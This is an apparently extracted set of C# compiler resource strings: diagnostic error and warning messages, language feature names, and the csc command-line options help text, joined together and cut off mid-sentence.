'IAsyncEnumerable<>.GetAsyncEnumerator' will be unconsumed + MemberNotNull attribute + Field is never assigned to, and will always have its default value + Method '{0}' has a parameter modifier 'this' which is not on the first parameter + Non-ASCII quotations marks may not be used around string literals. + A base class is required for a 'base' reference + Unexpected preprocessor directive + Unboxing a possibly null value. + The type '{2}' cannot be used as type parameter '{1}' in the generic type or method '{0}'. Nullability of type argument '{2}' doesn't match 'notnull' constraint. + CLS compliance checking will not be performed on '{0}' because it is not visible from outside this assembly + The using directive for '{0}' appeared previously as global using + '{0}': cannot override because '{1}' is not a property + An expression of type '{0}' cannot be handled by a pattern of type '{1}' in C# {2}. Please use language version {3} or greater. + The variable '{0}' is assigned but its value is never used + Operator '{0}' cannot be applied to 'default' and operand of type '{1}' because it is a type parameter that is not known to be a reference type + The annotation for nullable reference types should only be used in code within a '#nullable' annotations context. + Tuple element name '{0}' is only allowed at position {1}. + More than one protection modifier + XML comment has syntactically incorrect cref attribute '{0}' + The analyzer assembly references a newer version of the compiler than the currently running version. + '{0}' is not supported by the language + XML comment has a paramref tag, but there is no parameter by that name + The 'await' operator can only be used within an async method. Consider marking this method with the 'async' modifier and changing its return type to 'Task'. + Cannot use ref, out, or in primary constructor parameter '{0}' inside an instance member + Cannot update '{0}'; attribute '{1}' is missing. + unsigned right shift + Cannot specify /main if there is a compilation unit with top-level statements. + A primary constructor parameter of a readonly type cannot be used as a ref or out value (except in init-only setter of the type or a variable initializer) + The CallerArgumentExpressionAttribute will have no effect; it is overridden by the CallerFilePathAttribute + '{0}': new protected member declared in sealed type + Control cannot fall through from one case label ('{0}') to another + Cannot convert {0} to type '{1}' because it is not a delegate type + A lambda expression with a statement body cannot be converted to an expression tree + Method '{0}' specifies a 'default' constraint for type parameter '{1}', but corresponding type parameter '{2}' of overridden or explicitly implemented method '{3}' is constrained to a reference type or a value type. + The 'scoped' modifier of parameter doesn't match overridden or implemented member. + Mixed declarations and expressions in deconstruction + Microsoft (R) Visual C# Compiler + Line contains different whitespace than the closing line of the raw string literal: '{0}' versus '{1}' + Cannot convert type '{0}' to '{1}' via a reference conversion, boxing conversion, unboxing conversion, wrapping conversion, or null type conversion + '{0}' is for evaluation purposes only and is subject to change or removal in future updates. + A pointer must be indexed by only one value + '{0}' has a CollectionBuilderAttribute but no element type. + Using a function pointer type in this context is not supported. + Not a valid warning number + Both partial method declarations must be readonly or neither may be readonly + byref locals and returns + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect because it's self-referential. + Cannot pass argument with dynamic type to params parameter '{0}' of local function '{1}'. + Embedded interop method '{0}' contains a body. + The best overloaded Add method '{0}' for the collection initializer element is obsolete. + dynamic + Cannot use local variable '{0}' before it is declared. The declaration of the local variable hides the field '{1}'. + The tuple element name is ignored because a different name or no name is specified on the other side of the tuple == or != operator. + foreach statement on an inline array of type '{0}' is not supported + Member must have a non-null value when exiting. + Index is outside the bounds of the inline array + Cannot define/undefine preprocessor symbols after first token in file + Compilation options '{0}' and '{1}' can't both be specified at the same time. + top-level statements + The CallerMemberNameAttribute will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + The operation overflows at compile time in checked mode + namespace alias qualifier + A throw statement with no arguments is not allowed outside of a catch clause + Invalid operand for pattern match; value required, but found '{0}'. + foreach statement cannot operate on enumerators of type '{0}' in async or iterator methods because '{0}' is a ref struct. + Parameter is unread. Did you forget to use it to initialize the property with that name? + Constant value '{0}' may overflow '{1}' at runtime (use 'unchecked' syntax to override) + The event '{0}' is never used + XML comment is not placed on a valid language element + Error writing to XML documentation file: {0} + generics + '{0}' interface marked with 'CoClassAttribute' not marked with 'ComImportAttribute' + Cannot use fields of '{0}' as a ref or out value because it is a '{1}' + Use of possibly unassigned auto-implemented property '{0}' + The field '{0}' is never used + This label has not been referenced + '{0}' duplicate named attribute argument + Cannot make reference to variable of type '{0}' + The 'await' operator can only be used when contained within a method or lambda expression marked with the 'async' modifier + An expression tree may not contain a tuple literal. + Comparison made to same variable + A function pointer cannot be called with named arguments. + Object and collection initializer expressions may not be applied to a delegate creation expression + XML comment has a duplicate typeparam tag for '{0}' + '{0}': user-defined conversions to or from a derived type are not allowed + Object or collection initializer implicitly dereferences possibly null member. + Type does not implement interface member. Nullability of reference types in interface implemented by the base type doesn't match. + '{0}' is not a valid format specifier + 'await' cannot be used in an expression containing a ref conditional operator + Parameter '{0}' is unread. Did you forget to use it to initialize the property with that name? + Async-iterator member has one or more parameters of type 'CancellationToken' but none of them is decorated with the 'EnumeratorCancellation' attribute, so the cancellation token parameter from the generated 'IAsyncEnumerable<>.GetAsyncEnumerator' will be unconsumed + An assembly with the same simple name '{0}' has already been imported. Try removing one of the references (e.g. '{1}') or sign them to enable side-by-side. + The 'await' operator cannot be used in a static script variable initializer. + Cannot inherit interface '{0}' with the specified type parameters because it causes method '{1}' to contain overloads which differ only on ref and out + The name '{0}' is not in scope on the left side of 'equals'. Consider swapping the expressions on either side of 'equals'. + CallerFilePathAttribute cannot be applied because there are no standard conversions from type '{0}' to type '{1}' + Identifier '{0}' differing only in case is not CLS-compliant + Cannot convert null literal to non-nullable reference type. + Inconsistent accessibility: property type '{1}' is less accessible than property '{0}' + null is not a valid parameter name. To get access to the receiver of an instance method, use the empty string as the parameter name. + Error opening Win32 resource file '{0}' -- '{1}' + Empty format specifier. + Nullability of return type doesn't match overridden member (possibly because of nullability attributes). + Bitwise-or operator used on a sign-extended operand + The result of the expression is always the same since a value of this type is never equal to 'null' + Transparent identifier member access failed for field '{0}' of '{1}'. Does the data being queried implement the query pattern? + delegate generic type constraints + Nullability of reference types in type of parameter doesn't match implemented member (possibly because of nullability attributes). + Cannot use a numeric constant or relational pattern on '{0}' because it inherits from or extends 'INumberBase<T>'. Consider using a type pattern to narrow to a specifc numeric type. + CallerLineNumberAttribute cannot be applied because there are no standard conversions from type '{0}' to type '{1}' + 'extern alias' is not valid in this context + The required members list for the base type '{0}' is malformed and cannot be interpreted. To use this constructor, apply the 'SetsRequiredMembers' attribute. + The 'this' object cannot be used in a constructor before all of its fields have been assigned. Consider updating the language version to auto-default the unassigned fields. + Both conditional operator values must be ref values or neither may be a ref value + Use of new() is not valid in this context + Type '{0}' cannot be embedded because it is a nested type. Consider setting the 'Embed Interop Types' property to false. + You cannot specify the CLSCompliant attribute on a module that differs from the CLSCompliant attribute on the assembly + Nullability of reference types in return type doesn't match interceptable method. + Required member '{0}' must be set in the object initializer or attribute constructor. + Inline array indexer will not be used for element access expression. + {0}. See also error CS{1}. + Invalid base type + Required member '{0}' cannot be less visible or have a setter less visible than the containing type '{1}'. + The type name '{0}' does not exist in the type '{1}' + No matching elements were found for the following include tag + Feature '{0}' is experimental and unsupported; use '/features:{1}' to enable. + Auto-implemented property is read before being explicitly assigned, causing a preceding implicit assignment of 'default'. + Type overrides Object.Equals(object o) but does not override Object.GetHashCode() + async streams + The 'goto case' value is not implicitly convertible to the switch type + The /doc compiler option was specified, but one or more constructs did not have comments. + '{0}': cannot override inherited member '{1}' because it is not marked virtual, abstract, or override + The parameter name '{0}' is a duplicate + '{0}': access modifiers are not allowed on static constructors + Do not use 'System.Runtime.CompilerServices.RequiredMemberAttribute'. Use the 'required' keyword on required fields and properties instead. + Unexpected use of an unbound generic name + The 'ref' modifier for an argument corresponding to 'in' parameter is equivalent to 'in'. Consider using 'in' instead. + Accessor '{0}' cannot implement interface member '{1}' for type '{2}'. Use an explicit interface implementation. + Both partial method declarations must be extension methods or neither may be an extension method + Expected catch or finally + A new expression requires an argument list or (), [], or {} after type + Variable is declared but never used + '{0}' is defined in a module with an unrecognized RefSafetyRulesAttribute version, expecting '11'. + End-of-file found, '*/' expected + Can't reference compilation of type '{0}' from {1} compilation. + A default value is specified for 'ref readonly' parameter, but 'ref readonly' should be used only for references. Consider declaring the parameter as 'in'. + '{0}' hides inherited member '{1}'. To make the current member override that implementation, add the override keyword. Otherwise add the new keyword. + '{0}' does not implement interface member '{1}'. '{2}' cannot implement an interface member because it is not public. + File-local type '{0}' cannot be used in a member signature in non-file-local type '{1}'. + The interface '{0}' cannot be used as type argument. Static member '{1}' does not have a most specific implementation in the interface. + Expected a {0} SemanticModel. + ref conditional expression + default operator + A value of type 'void' may not be assigned. + default literal + '{0}' does not implement interface member '{1}'. '{2}' cannot implement '{1}'. + An expression of type '{0}' cannot be handled by a pattern of type '{1}'. + The 'this' object cannot be used before all of its fields have been assigned. Consider updating to language version '{0}' to auto-default the unassigned fields. + Conflicting options specified: Win32 resource file; Win32 icon + Attribute is ignored when public signing is specified. + The type name '{0}' is reserved to be used by the compiler. + Nullability of reference types in explicit interface specifier doesn't match interface implemented by the type. + Application entry points cannot be attributed with 'UnmanagedCallersOnly'. + The name '{0}' is not in scope on the right side of 'equals'. Consider swapping the expressions on either side of 'equals'. + '{0}': cannot change tuple element names when overriding inherited member '{1}' + Combined length of user strings used by the program exceeds allowed limit. Try to decrease use of string literals. + { expected + The 'l' suffix is easily confused with the digit '1' + Unexpected character at this location. + Expected '>' or '/>' to close tag '{0}'. + Thrown value may be null. + Type parameter has no matching typeparam tag in the XML comment (but other type parameters do) + warning action enable + Defining an alias named 'global' is ill-advised since 'global::' always references the global namespace and not an alias + The CallerMemberNameAttribute applied to parameter '{0}' will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Attribute constructor parameter '{0}' has type '{1}', which is not a valid attribute parameter type + Invalid variance modifier. Only interface and delegate type parameters can be specified as variant. + Parameter must have a non-null value when exiting in some condition. + Relational patterns may not be used for a value of type '{0}'. + Inheriting from a record with a sealed 'Object.ToString' is not supported in C# {0}. Please use language version '{1}' or greater. + Overloaded method differing only in ref or out, or in array rank, is not CLS-compliant + '{0}': a volatile field cannot be of the type '{1}' + A stackalloc expression requires [] after type + Invalid anonymous type member declarator. Anonymous type members must be declared with a member assignment, simple name or member access. + A tuple may not contain a value of type 'void'. + Cannot specify the Out attribute on a ref parameter without also specifying the In attribute. + Source file '{0}' specified multiple times + Members of property '{0}' of type '{1}' cannot be assigned with an object initializer because it is of a value type + collection expressions + '{0}': structs cannot call base class constructors + Type does not implement the collection pattern; members are ambiguous + stackalloc may not be used in a catch or finally block + A string literal was expected, but no opening quotation mark was found. + '{0}' cannot be extern and declare a body + <switch expression> + Invalid preprocessor expression + Keyword 'this' is not available in the current context + lambda return type + SyntaxTree resulted from a #load directive and cannot be removed or replaced directly. + Unrecognized #pragma directive + An anonymous type cannot have multiple properties with the same name + Type parameter '{1}' has the 'unmanaged' constraint so '{1}' cannot be used as a constraint for '{0}' + Name '{0}' exceeds the maximum length allowed in metadata. + A 'using static' directive cannot be used to declare an alias + Assignment made to same variable; did you mean to assign something else? + Event is never used + An interceptor cannot be declared in the global namespace. + Asynchronous foreach statement cannot operate on variables of type '{0}' because '{0}' does not contain a suitable public instance or extension definition for '{1}' + The event '{0}' can only appear on the left hand side of += or -= + The default parameter value does not match in the target delegate type. + Include tag is invalid + function pointers + The type forwarder for type '{0}' in assembly '{1}' causes a cycle + The type '{0}' already contains a definition for '{1}' + An expression tree may not contain a call or invocation that uses optional arguments + Operator '{0}' cannot be applied to operand '{1}' + Metadata file '{0}' could not be opened -- {1} + Comparing with null of type '{0}' always produces 'false' + module as an attribute target specifier + recursive patterns + This warning can be generated when two interface methods are differentiated only by whether a particular parameter is marked with ref or with out. It is best to change your code to avoid this warning because it is not obvious or guaranteed which method is called at runtime. + +Although C# distinguishes between out and ref, the CLR sees them as the same. When deciding which method implements the interface, the CLR just picks one. + +Give the compiler some way to differentiate the methods. For example, you can give them different names or provide an additional parameter on one of them. + Cannot use #r after first token in file + '{0}' does not implement instance interface member '{1}'. '{2}' cannot implement the interface member because it is static. + '{0}' does not implement interface member '{1}'. '{2}' cannot implicitly implement a non-public member in C# {3}. Please use language version '{4}' or greater. + This returns a parameter by reference '{0}' but it is not a ref parameter + Cannot initialize a by-reference variable with a value + named argument + A return type can only have one '{0}' modifier. + The predefined type '{0}' is defined in multiple assemblies in the global alias; using definition from '{1}' + An expression tree lambda may not contain a call to a method, property, or indexer that returns by reference + auto default struct fields + A partial method cannot have the 'abstract' modifier + '{0}' is already listed in the interface list on type '{1}' with different nullability of reference types. + Missing equals sign between attribute and attribute value. + Cannot update because an inferred delegate type has changed. + Cannot deconstruct a tuple of '{0}' elements into '{1}' variables. + '{0}' does not implement inherited abstract member '{1}' + Multiple analyzer config files cannot be in the same directory ('{0}'). + 'Inline arrays' language feature is not supported for inline array types with element field which is either a 'ref' field, or has type that is not valid as a type argument. + '{0}' cannot be sealed because containing record is not sealed. + Cannot create an instance of the variable type '{0}' because it does not have the new() constraint + Type of '{0}' cannot be inferred since its initializer directly or indirectly refers to the definition. + '{0}': Target runtime doesn't support covariant types in overrides. Type must be '{2}' to match overridden member '{1}' + #load is only allowed in scripts + Overloaded method '{0}' differing only by unnamed array types is not CLS-compliant + Reference kind modifier of parameter doesn't match the corresponding parameter in overridden or implemented member. + This ref-assigns a value that has a wider value escape scope than the target allowing assignment through the target of values with narrower escapes scopes. + Field-like event '{0}' cannot be 'readonly'. + An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type + readonly structs + <throw expression> + partial types + The given expression never matches the provided pattern. + Generic parameter is definition when expected to be reference {0} + An expression tree may not contain a collection expression. + Return value must be non-null because parameter '{0}' is non-null. + The syntax 'var (...)' as an lvalue is reserved. + '{0}' does not override expected method from '{1}'. + Struct member returns 'this' or other instance members by reference + Ignoring /noconfig option because it was specified in a response file + '{0}' does not implement static interface member '{1}'. '{2}' cannot implement the interface member because it is not static. + '{0}': property or indexer cannot have void type + '{0}': cannot override inherited member '{1}' because it is sealed + Iterators cannot have ref, in or out parameters + Indexed property '{0}' must have all arguments optional + Field '{0}' must be fully assigned before control is returned to the caller. Consider updating to language version '{1}' to auto-default the field. + Both partial method declarations must have the same return type. + Inconsistent lambda parameter usage; parameter types must be all explicit or all implicit + Unable to load Analyzer assembly + Cannot infer the type of implicitly-typed discard. + Type '{0}' in interface list is not an interface + Signatures of interceptable and interceptor methods do not match. + Unexpected keyword 'record'. Did you mean 'record struct' or 'record class'? + element + The 'parameter null-checking' feature is not supported. + An __arglist parameter must be the last parameter in a parameter list + {0} is not a valid C# compound assignment operation + An expression tree may not contain an 'is' pattern-matching operator. + Cannot use attribute constructor '{0}' because it has 'in' or 'ref readonly' parameters. + ref foreach iteration variables + Ambiguous user defined conversions '{0}' and '{1}' when converting from '{2}' to '{3}' + Interop type '{0}' cannot be embedded. Use the applicable interface instead. + The expression must be of type '{0}' because it is being assigned by reference + Assembly does not contain any analyzers + No overload for '{0}' matches function pointer '{1}' + Indexing an array with a negative index + Properties which return by reference cannot have set accessors + Command-line syntax error: Missing ':<number>' for '{0}' option + Reference to type '{0}' claims it is defined in '{1}', but it could not be found + Possibly incorrect assignment to local '{0}' which is the argument to a using or lock statement. The Dispose call or unlocking will happen on the original value of the local. + Tuple with {0} elements cannot be converted to type '{1}'. + The character '<' cannot be used in an attribute value. + This takes the address of, gets the size of, or declares a pointer to a managed type ('{0}') + A copy constructor in a record must call a copy constructor of the base, or a parameterless object constructor if the record inherits from object. + Invalid #pragma checksum syntax; should be #pragma checksum "filename" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + invariantly + '{0}' is for evaluation purposes only and is subject to change or removal in future updates. Suppress this diagnostic to proceed. + Position is not within syntax tree with full span {0} + Cannot define a new extension method because the compiler required type '{0}' cannot be found. Are you missing a reference to System.Core.dll? + Nullability of reference types in return type doesn't match partial method declaration. + In order to be applicable as a short circuit operator a user-defined logical operator ('{0}') must have the same return type and parameter types + Comparison made to same variable; did you mean to compare something else? + newlines in interpolations + The 'scoped' modifier cannot be used with discard. + Identifier differing only in case is not CLS-compliant + Parameter {0} has params modifier in lambda but not in target delegate type. + Invalid real literal. + You cannot use the fixed statement to take the address of an already fixed expression + '{0}' has no accessible constructors which use only CLS-compliant types + Evaluation of the decimal constant expression failed + Parameter '{0}' must have a non-null value when exiting with '{1}'. + list pattern + The label '{0}' is a duplicate + A readonly field cannot be assigned to (except in a constructor or init-only setter of the type in which the field is defined or a variable initializer) + Non-nullable {0} '{1}' must contain a non-null value when exiting constructor. Consider declaring the {0} as nullable. + The using alias '{0}' appeared previously in this namespace + Argument {0} must be passed with the '{1}' keyword + Cannot use primary constructor parameter of type '{0}' inside an instance member + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerMemberNameAttribute. + Nullability of reference types in return type doesn't match partial method declaration. + Invalid value for named attribute argument '{0}' + Duplicate constraint '{0}' for type parameter '{1}' + Members of readonly field '{0}' of type '{1}' cannot be assigned with an object initializer because it is of a value type + Field-like events are not allowed in readonly structs. + The tuple element name '{0}' is ignored because a different name or no name is specified on the other side of the tuple == or != operator. + The 'async' modifier can only be used in methods that have a body. + The switch expression does not handle some null inputs. + Partial declarations of '{0}' must not specify different base classes + '{0}' is inaccessible due to its protection level + The suppression operator is not allowed in this context + The inherited members '{0}' and '{1}' have the same signature in type '{2}', so they cannot be overridden + The indexer access needs to be dynamically dispatched, but cannot be because it is part of a base access expression. Consider casting the dynamic arguments or eliminating the base access. + '{0}' has no applicable method named '{1}' but appears to have an extension method by that name. Extension methods cannot be dynamically dispatched. Consider casting the dynamic arguments or calling the extension method without the extension method syntax. + '{0}': abstract properties cannot have private accessors + 'is' expression's given expression is never of the provided type + Inline array indexer will not be used for element access expression. + Target runtime doesn't support static abstract members in interfaces. + The specified version string '{0}' does not conform to the required format - major.minor.build.revision (without wildcards) + Do not use 'System.Runtime.CompilerServices.FixedBuffer' attribute on a property + Error opening Win32 manifest file {0} -- {1} + UnscopedRefAttribute can only be applied to struct instance methods and properties, and cannot be applied to constructors or init-only members. + '{0}' is a new virtual member in sealed type '{1}' + Nullability of reference types in type of parameter doesn't match partial method declaration. + An expression tree may not contain an indexed property + Invalid #pragma checksum syntax + The raw string literal does not start with enough quote characters to allow this many consecutive quote characters as content. + LookupOptions has an invalid combination of options + An array initializer of length '{0}' is expected + A readonly field cannot be returned by writable reference + extensible fixed statement + An expression tree may not contain a from-end index ('^') expression. + inline arrays + A switch expression or case label must be a bool, char, string, integral, enum, or corresponding nullable type in C# 6 and earlier. + Location must be provided in order to provide minimal type qualification. + Added modules must be marked with the CLSCompliant attribute to match the assembly + The type '{2}' must be a reference type in order to use it as parameter '{1}' in the generic type or method '{0}' + Submission can only include script code. + Record defines 'Equals' but not 'GetHashCode'. + '{0}': cannot override because '{1}' does not have an overridable get accessor + A previous catch clause already catches all exceptions + indexing movable fixed buffers + '{0}' is a binary file instead of a text file + Field-targeted attributes on auto-properties are not supported in this version of the language. + The switch expression must be a value; found '{0}'. + Cannot assign '{0}' to anonymous type property + Use of possibly unassigned auto-implemented property + Cannot open '{0}' for writing -- '{1}' + Explicit implementation of a user-defined operator '{0}' must be declared static + Possible mistaken empty statement + Cannot create delegate from method '{0}' because it is a partial method without an implementing declaration + Do not override object.Finalize. Instead, provide a destructor. + expression body constructor and destructor + relational pattern + Nullability of reference types in return type doesn't match overridden member. + Quoted file name, single-line comment or end-of-line expected + Member '{0}' must have a non-null value when exiting with '{1}'. + XML comment has cref attribute '{0}' that refers to a type parameter + The delegate '{0}' does not have a valid constructor + ref readonly parameters + Deconstruction must contain at least two variables. + Extension method '{0}' defined on value type '{1}' cannot be used to create delegates + Inconsistent accessibility: base class '{1}' is less accessible than class '{0}' + A goto case is only valid inside a switch statement + This returns by reference a member of parameter '{0}' through a ref parameter; but it can only safely be returned in a return statement + The class System.Object cannot have a base class or implement an interface + Use of unassigned local variable + A static anonymous function cannot contain a reference to 'this' or 'base'. + '{0}': cannot change access modifiers when overriding '{1}' inherited member '{2}' + Indexers cannot have void type + Inconsistent accessibility: parameter type '{1}' is less accessible than operator '{0}' + '{0}' must match by init-only of overridden member '{1}' + A const field requires a value to be provided + Cannot restore warning 'CS{0}' because it was disabled globally + Introducing a 'Finalize' method can interfere with destructor invocation. Did you intend to declare a destructor? + A member of '{0}' is returned by reference but was initialized to a value that cannot be returned by reference + Nullability of return type doesn't match overridden member (possibly because of nullability attributes). + Types and aliases should not be named 'record'. + The body of '{0}' cannot be an iterator block because '{0}' returns by reference + Wrong number of indices inside []; expected {0} + Delay signing was specified and requires a public key, but no public key was specified + A method marked [DoesNotReturn] should not return. + Invalid expression term '{0}' + The accessibility modifier of the '{0}' accessor must be more restrictive than the property or indexer '{1}' + The CallerFilePathAttribute may only be applied to parameters with default values + Missing file specification for '{0}' option + Partial method declarations must have matching ref return values. + Quoted file name expected + Duplicate user-defined conversion in type '{0}' + Type byte, sbyte, short, ushort, int, uint, long, or ulong expected + Control is returned to caller before auto-implemented property '{0}' is explicitly assigned, causing a preceding implicit assignment of 'default'. + Unexpected use of a generic name + '{0}' does not need a CLSCompliant attribute because the assembly does not have a CLSCompliant attribute + The managed coclass wrapper class signature '{0}' for interface '{1}' is not a valid class name signature + The type '{1}' exists in both '{0}' and '{2}' + Type '{0}' cannot be used in this context because it cannot be represented in metadata. + Possible null reference argument for parameter '{0}' in '{1}'. + Type conflicts with imported type + A constant value of type '{0}' is expected + Cannot create constructed generic type from non-generic type. + A '{0}' character may only be escaped by doubling '{0}{0}' in an interpolated string. + Invalid XML include element + Possible null reference return. + This warning occurs when you create a class with a method whose signature is public virtual void Finalize. + +If such a class is used as a base class and if the deriving class defines a destructor, the destructor will override the base class Finalize method, not Finalize. + "Invalid rank specifier: expected ']' + stackalloc initializer + Do not use 'System.Runtime.CompilerServices.FixedBuffer' attribute. Use the 'fixed' field modifier instead. + Use of null is not valid in this context + This returns by reference a member of parameter through a ref parameter; but it can only safely be returned in a return statement + Record member '{0}' must be private. + global using directive + The namespace alias qualifier '::' always resolves to a type or namespace so is illegal here. Consider using '.' instead. + Conversion, equality, or inequality operators declared in interfaces must be abstract or virtual + The type parameter '{0}' cannot be used with the 'as' operator because it does not have a class type constraint nor a 'class' constraint + File-local type '{0}' must be declared in a file with a unique path. Path '{1}' is used in multiple files. + Keyword 'base' is not available in a static method + The 'interceptors' experimental feature is not enabled in this namespace. Add '{0}' to your project. + Member '{0}' cannot be initialized. It is not a field or property. + Ambiguity between '{0}' and '{1}' + Local function is declared but never used + Command-line syntax error: Missing Guid for option '{1}' + Cannot use '{0}' as a {1} type on a method attributed with 'UnmanagedCallersOnly'. + Referenced assembly '{0}' targets a different processor. + Cannot assign {0} to an implicitly-typed variable + An error occurred while writing the output file: {0}. + '{0}': static constructor cannot have an explicit 'this' or 'base' constructor call + LIB environment variable + Module initializer method '{0}' must be accessible at the module level + '{0}' cannot implement '{1}' because '{2}' is a Windows Runtime event and '{3}' is a regular .NET event. + '{0}' is obsolete + '{0}' is of type '{1}'. The type specified in a constant declaration must be sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, an enum-type, or a reference-type. + The specified version string does not conform to the recommended format - major.minor.build.revision + User-defined conversion in an interface must convert to or from a type parameter on the enclosing type constrained to the enclosing type + Parameter '{0}' has no matching param tag in the XML comment for '{1}' (but other parameters do) + Indexed property '{0}' has non-optional arguments which must be provided + For type '{0}' to be used as an AsyncMethodBuilder for type '{1}', its Task property should return type '{1}' instead of type '{2}'. + '{0}': a field cannot be both volatile and readonly + Only records may inherit from records. + Unterminated raw string literal. + Attributes on lambda expressions require a parenthesized parameter list. + Static types cannot be used as parameters + #endregion directive expected + <missing> + The interpolated raw string literal does not start with enough '$' characters to allow this many consecutive opening braces as content. + Nullability of reference types in type doesn't match implicitly implemented member. + The parameter name '{0}' conflicts with an automatically-generated parameter name + Type parameters are not allowed on a method group as an argument to 'nameof'. + Inconsistent accessibility: parameter type '{1}' is less accessible than delegate '{0}' + Using alias cannot be a 'ref' type. + A previous catch clause already catches all exceptions. All non-exceptions thrown will be wrapped in a System.Runtime.CompilerServices.RuntimeWrappedException. + Failed to insert some or all of included XML + Cannot await '{0}' + The 'default' constraint is valid on override and explicit interface implementation methods only. + parameter + A constant value is expected + Generator '{0}' failed to generate source. It will not contribute to the output and compilation errors may occur as a result. Exception was of type '{1}' with message '{2}'. +{3} + Type parameter '{0}' has the same name as the type parameter from outer type '{1}' + Literal of type double cannot be implicitly converted to type '{1}'; use an '{0}' suffix to create a literal of this type + There is no target type for the collection expression. + A variable may not be declared within a 'not' or 'or' pattern. + + Visual C# Compiler Options + + - OUTPUT FILES - +-out:<file> Specify output file name (default: base name of + file with main class or first file) +-target:exe Build a console executable (default) (Short + form: -t:exe) +-target:winexe Build a Windows executable (Short form: + -t:winexe) +-target:library Build a library (Short form: -t:library) +-target:module Build a module that can be added to another + assembly (Short form: -t:module) +-target:appcontainerexe Build an Appcontainer executable (Short form: + -t:appcontainerexe) +-target:winmdobj Build a Windows Runtime intermediate file that + is consumed by WinMDExp (Short form: -t:winmdobj) +-doc:<file> XML Documentation file to generate +-refout:<file> Reference assembly output to generate +-platform:<string> Limit which platforms this code can run on: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred, or + anycpu. The default is anycpu. + + - INPUT FILES - +-recurse:<wildcard> Include all files in the current directory and + subdirectories according to the wildcard + specifications +-reference:<alias>=<file> Reference metadata from the specified assembly + file using the given alias (Short form: -r) +-reference:<file list> Reference metadata from the specified assembly + files (Short form: -r) +-addmodule:<file list> Link the specified modules into this assembly +-link:<file list> Embed metadata from the specified interop + assembly files (Short form: -l) +-analyzer:<file list> Run the analyzers from this assembly + (Short form: -a) +-additionalfile:<file list> Additional files that don't directly affect code + generation but may be used by analyzers for producing + errors or warnings. +-embed Embed all source files in the PDB. +-embed:<file list> Embed specific files in the PDB. + + - RESOURCES - +-win32res:<file> Specify a Win32 resource file (.res) +-win32icon:<file> Use this icon for the output +-win32manifest:<file> Specify a Win32 manifest file (.xml) +-nowin32manifest Do not include the default Win32 manifest +-resource:<resinfo> Embed the specified resource (Short form: -res) +-linkresource:<resinfo> Link the specified resource to this assembly + (Short form: -linkres) Where the resinfo format + is <file>[,<string name>[,public|private]] + + - CODE GENERATION - +-debug[+|-] Emit debugging information +-debug:{full|pdbonly|portable|embedded} + Specify debugging type ('full' is default, + 'portable' is a cross-platform format, + 'embedded' is a cross-platform format embedded into + the target .dll or .exe) +-optimize[+|-] Enable optimizations (Short form: -o) +-deterministic Produce a deterministic assembly + (including module version GUID and timestamp) +-refonly Produce a reference assembly in place of the main output +-instrument:TestCoverage Produce an assembly instrumented to collect + coverage information +-sourcelink:<file> Source link info to embed into PDB. + + - ERRORS AND WARNINGS - +-warnaserror[+|-] Report all warnings as errors +-warnaserror[+|-]:<warn list> Report specific warnings as errors + (use "nullable" for all nullability warnings) +-warn:<n> Set warning level (0 or higher) (Short form: -w) +-nowarn:<warn list> Disable specific warning messages + (use "nullable" for all nullability warnings) +-ruleset:<file> Specify a ruleset file that disables specific + diagnostics. +-errorlog:<file>[,version=<sarif_version>] + Specify a file to log all compiler and analyzer + diagnostics. + sarif_version:{1|2|2.1} Default is 1. 2 and 2.1 + both mean SARIF version 2.1.0. +-reportanalyzer Report additional analyzer information, such as + execution time. +-skipanalyzers[+|-] Skip execution of diagnostic analyzers. + + - LANGUAGE - +-checked[+|-] Generate overflow checks +-unsafe[+|-] Allow 'unsafe' code +-define:<symbol list> Define conditional compilation symbol(s) (Short + form: -d) +-langversion:? Display the allowed values for language version +-langversion:<string> Specify language version such as + `latest` (latest version, including minor versions), + `default` (same as `latest`), + `latestmajor` (latest version, excluding minor versions), + `preview` (latest version, including features in unsupported preview), + or specific versions like `6` or `7.1` +-nullable[+|-] Specify nullable context option enable|disable. +-nullable:{enable|disable|warnings|annotations} + Specify nullable context option enable|disable|warnings|annotations. + + - SECURITY - +-delaysign[+|-] Delay-sign the assembly using only the public + portion of the strong name key +-publicsign[+|-] Public-sign the assembly using only the public + portion of the strong name key +-keyfile:<file> Specify a strong name key file +-keycontainer:<string> Specify a strong name key container +-highentropyva[+|-] Enable high-entropy ASLR + + - MISCELLANEOUS - +@<file> Read response file for more options +-help Display this usage message (Short form: -?) +-nologo Suppress compiler copyright message +-noconfig Do not auto include CSC.RSP file +-parallel[+|-] Concurrent build. +-version Display the compiler version number and exit. + + - ADVANCED - +-baseaddress:<address> Base address for the library to be built +-checksumalgorithm:<alg> Specify algorithm for calculating source file + checksum stored in PDB. Supported values are: + SHA1 or SHA256 (default). +-codepage:<n> Specify the codepage to use when opening source + files +-utf8output Output compiler messages in UTF-8 encoding +-main:<type> Specify the type that contains the entry point + (ignore all other possible entry points) (Short + form: -m) +-fullpaths Compiler generates fully qualified paths +-filealign:<n> Specify the alignment used for output file + sections +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Specify a mapping for source path names output by + the compiler. +-pdb:<file> Specify debug information file name (default: + output file name with .pdb extension) +-errorendlocation Output line and column of the end location of + each error +-preferreduilang Specify the preferred output language name. +-nosdkpath Disable searching the default SDK path for standard library assemblies. +-nostdlib[+|-] Do not reference standard library (mscorlib.dll) +-subsystemversion:<string> Specify subsystem version of this assembly +-lib:<file list> Specify additional directories to search in for + references +-errorreport:<string> Specify how to handle internal compiler errors: + prompt, send, queue, or none. The default is + queue. +-appconfig:<file> Specify an application configuration file + containing assembly binding settings +-moduleassemblyname:<string> Name of the assembly which this module will be + a part of +-modulename:<string> Specify the name of the source module +-generatedfilesout:<dir> Place files generated during compilation in the + specified directory. +-reportivts[+|-] Output information on all IVTs granted to this + assembly by all dependencies, and annotate foreign assembly + accessibility errors with what assembly they came from. + + Syntax error; value expected + '{0}' cannot be sealed because it is not an override + #error: '{0}' + The range variable '{0}' has already been declared + Invalid signature public key specified in AssemblySignatureKeyAttribute. + The tuple element name '{0}' is ignored because a different name or no name is specified by the target type '{1}'. + This warning occurs when you try to call a method, property, or indexer on a member of a class that derives from 